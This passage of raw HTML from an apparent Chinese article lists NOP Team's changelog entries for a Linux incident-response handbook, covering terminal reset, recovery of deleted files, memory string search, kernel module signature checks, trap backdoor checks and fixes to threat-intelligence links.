solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-19 22:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">11.  添加终端乱码重置的办法</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0011</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-04-29 15:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">有时查看二进制文件后，会使终端乱码，添加如何重置的方法</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 12:09</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">12.  修复文件被删除的恢复方法</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0012</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-03-21 11:23</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">之前的内容是通过 proc 虚拟结构的 fd 来恢复文件被删除但仍被进程占用的文件，在之前的文章中有朋友指出不需要从 fd 中恢复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-30 23:06:23</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">13.  Linux 实现内存中查找字符串</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0013</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-03-06 17:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">Windows 可以实现内存中查找字符串，Linux 中是否可以呢？</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 00:08</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">14.  内核模块签名相关配置检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0014</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-02-27 16:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">检查内核模块加载是否校验签名</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">15.  内核模块签名校验</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0015</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-02-27 16:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">校验内核模块是否存在有效签名</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-19 22:04</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">按照公开方法，目前无法有效找到验证签名的公钥，采用日志的方式进行辅助判断</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">16.  trap 检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0016</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-01-12 13:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">检查是否存在 trap 后门</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 22:45:02</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">17.  完善威胁情报部分链接</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0017</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">修复部分威胁情报的链接，添加部分威胁情报网站</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">18.  添加 process monitor 的使用</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0018</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">考虑添加 process monitor Linux 版</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暂不添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">目前没有看出明显优势，后期可以和其他工具一起加入</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">19.  挖矿部分标题文字修复</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0019</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0x05 标题少了一个空格</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span 